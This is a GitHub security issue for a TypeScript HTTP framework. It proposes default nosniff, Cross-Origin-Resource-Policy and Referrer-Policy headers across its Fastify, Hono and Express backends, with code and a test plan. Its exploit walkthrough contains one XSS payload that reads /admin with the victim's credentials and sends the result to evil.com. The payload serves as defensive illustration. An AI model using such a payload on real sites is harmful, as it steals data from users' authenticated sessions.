Skip to content

[Security] Missing X-Content-Type-Options: nosniff header on responses #127

Description

@pathosDev

Severity / Size

  • Severity: LOW
  • Size: S
  • Threat model: closed-group cluster; HTTP layer faces browser clients. Concerns apps that accept user-uploaded files or render user-controlled content from API endpoints.

Affected files

  • src/http/Route.ts:60-77complete() / completeJson() / completeText() / redirect() build response headers without security defaults.
  • src/http/backend/FastifyBackend.ts:165-186writeResponse writes the headers as-is.
  • src/http/backend/HonoBackend.ts:237-258 — same in Hono.
  • src/http/backend/ExpressBackend.ts:264-286 — same in Express.

Background

Every response goes through writeResponse (one per backend). It only writes:

  • content-type (either from res.contentType, from res.headers, or a marshaller-picked default).
  • whatever the handler passed in res.headers.

Notably absent from every response: X-Content-Type-Options: nosniff. Without it, browsers (especially older Edge / IE, but also modern Chromium under certain conditions) MIME-sniff the body and override the declared Content-Type if the body content "looks like" something else.

Concrete consequences:

  • An endpoint returning Content-Type: application/json with {"name": "<script>alert(1)</script>"} — sniffing kicks in if the response also lacks Content-Disposition: attachment, and the browser may render as HTML.
  • Upload endpoints that echo the uploaded bytes back ("preview avatar") with their declared MIME — if the user uploads evil.html declared as image/png and the server accepts it, the sniffer can identify it as HTML and execute scripts in the origin.

This is OWASP A05:2021 (Security Misconfiguration). The fix is trivial — add a single header — but it has to live in the right layer so it can't be silently dropped by user code.

Two other headers in the same "no-cost defence-in-depth" bucket:

  • Cross-Origin-Resource-Policy: same-origin — prevents cross-origin embedding of API responses.
  • Referrer-Policy: strict-origin-when-cross-origin — limits referrer leakage on outbound links.

Worth bundling into one fix.

Exploit walkthrough

Step 1 — App has user-upload endpoint:

post(async (req) => {
  const file = entity<{ name: string; bytes: Uint8Array; mime: string }>(req);
  await store.save(file.name, file.bytes, file.mime);
  return completeJson(201, { url: `/files/${file.name}` });
});

get(async (req) => {
  const file = await store.load(pathParam(req, 'name'));
  return { status: 200, contentType: file.mime, body: file.bytes };
});

Step 2 — Attacker uploads evil.html (HTML payload with <script>fetch('/admin', {credentials: 'include'}).then(r => r.text()).then(t => fetch('https://evil.com/leak?d=' + btoa(t)))</script>), declares mime: 'image/png'.

Step 3 — Victim visits https://app.example.com/files/evil.html. Server responds with Content-Type: image/png, but the body is HTML.

Step 4 — Without nosniff: browser sniffs, decides it's HTML (HTML5 sniffing-compliant browsers do this when the MIME isn't strict), renders + executes. Script runs in the app's origin, can read cookies, hit /admin, exfiltrate.

With nosniff: browser refuses to render as HTML because Content-Type says image/png. Either shows broken-image icon or downloads as binary. Exploit dead.

Realistic worst case: stored-XSS-equivalent via uploaded files, scoped to the app's origin. Requires the app to also have an upload endpoint that echoes user content back without re-encoding — a common pattern.

How the 8 already-landed security fixes inform this

  • Wire-frame DoS cap (frame-decoder, 16 MB default) — the pattern: safe default at the framework boundary, override is opt-in (maxBytes config). Same shape: nosniff on by default, opt-out is opt-in.
  • Hello-handshake hijack defence — added headers/validation at the connection-level layer, not the application layer. Same place to put nosniff: in writeResponse of each backend, not in handlers.
  • Idempotency body-fingerprint — applied uniformly across the HTTP cache layer, not per-route. Same uniform-application principle.

Defence-in-depth headers belong in the backend's writeResponse, not in the DSL helpers, because:

  1. User code can return HttpResponse literals that bypass complete() / completeJson().
  2. The backend is the chokepoint every response passes through.

Fix design

Track 1 — Default security headers in each backend's writeResponse (primary). Add three headers if not already set:

  • X-Content-Type-Options: nosniff
  • Cross-Origin-Resource-Policy: same-origin
  • Referrer-Policy: strict-origin-when-cross-origin

Only set if not present in res.headers (preserves explicit user overrides).

const DEFAULT_SECURITY_HEADERS: Readonly<Record<string, string>> = {
  'x-content-type-options': 'nosniff',
  'cross-origin-resource-policy': 'same-origin',
  'referrer-policy': 'strict-origin-when-cross-origin',
};

function applySecurityHeaders(target: { has(name: string): boolean; set(name: string, value: string): void }): void {
  for (const [name, value] of Object.entries(DEFAULT_SECURITY_HEADERS)) {
    if (!target.has(name)) target.set(name, value);
  }
}

Fastify (writeResponse):

private writeResponse(reply: FastifyReply, res: HttpResponse): void {
  reply.status(res.status);
  if (res.headers) for (const [k, v] of Object.entries(res.headers)) reply.header(k, v);
  if (res.contentType) reply.header('content-type', res.contentType);
  // NEW — security defaults, only if not explicitly set:
  applySecurityHeaders({
    has: (n) => Boolean(reply.getHeader(n)),
    set: (n, v) => reply.header(n, v),
  });
  // … rest unchanged
}

Hono (writeResponse): natural since it uses Headers directly.

Express (writeResponse): same shape via res.getHeader / res.setHeader.

Track 2 — Opt-out via constructor. Per-backend option disableSecurityHeaders: true or securityHeaders: Partial<Record<...>> to override individual ones. Default is on.

export interface FastifyBackendOptions {
  readonly disableSecurityHeaders?: boolean;
  readonly securityHeaders?: Readonly<Record<string, string | null>>;  // null = omit
}

Track 3 — Documentation. README "Known security caveats" section gets a line: "nosniff + same-origin RP + Referrer-Policy applied by default; override per-backend if needed."

API surface

// FastifyBackend, HonoBackend, ExpressBackend constructors
new FastifyBackend({ disableSecurityHeaders: true });   // opt out entirely
new FastifyBackend({ securityHeaders: { 'referrer-policy': 'no-referrer' } });  // override one
new FastifyBackend({ securityHeaders: { 'cross-origin-resource-policy': null } });  // omit one

The DSL functions (complete*, redirect) are unchanged. The header is added at the backend layer.

Backward compatibility

Minor break: any app that depended on the absence of these headers (e.g. cross-origin embedding of API responses, browser referrer-tracking for analytics) will see different behaviour. The opt-out is one line.

Document in CHANGELOG under "Security defaults". Cross-origin embedding is the only realistic break — for that case, securityHeaders: { 'cross-origin-resource-policy': 'cross-origin' } restores the old behaviour.

Test plan

  1. Default test — issue a complete(200, 'hello') and check the response headers include x-content-type-options: nosniff, cross-origin-resource-policy: same-origin, referrer-policy: strict-origin-when-cross-origin.
  2. Override test — user passes complete(200, 'hello', { 'x-content-type-options': 'custom' }); check the user's value wins.
  3. Disable testnew FastifyBackend({ disableSecurityHeaders: true }) produces a response without any of the three headers.
  4. Selective override testnew HonoBackend({ securityHeaders: { 'referrer-policy': 'no-referrer' } }) overrides one header, keeps the other two.
  5. Selective omit testsecurityHeaders: { 'cross-origin-resource-policy': null } produces a response with nosniff and referrer-policy but no CORP.
  6. Cross-backend parity — same response goes through Fastify / Hono / Express, all produce the same three headers by default.

Acceptance criteria

  • All three backends emit x-content-type-options: nosniff by default.
  • Explicit res.headers override always wins.
  • disableSecurityHeaders: true opts out entirely.
  • Tests cover all three backends with the same set of expectations.
  • CHANGELOG entry + README "Known security caveats" updated.

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't workingpriority: lowNice-to-have / niche / demand-drivensecuritySecurity-relevant — see severity label for impact tierseverity: lowMinor / informational / mitigated-by-design

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions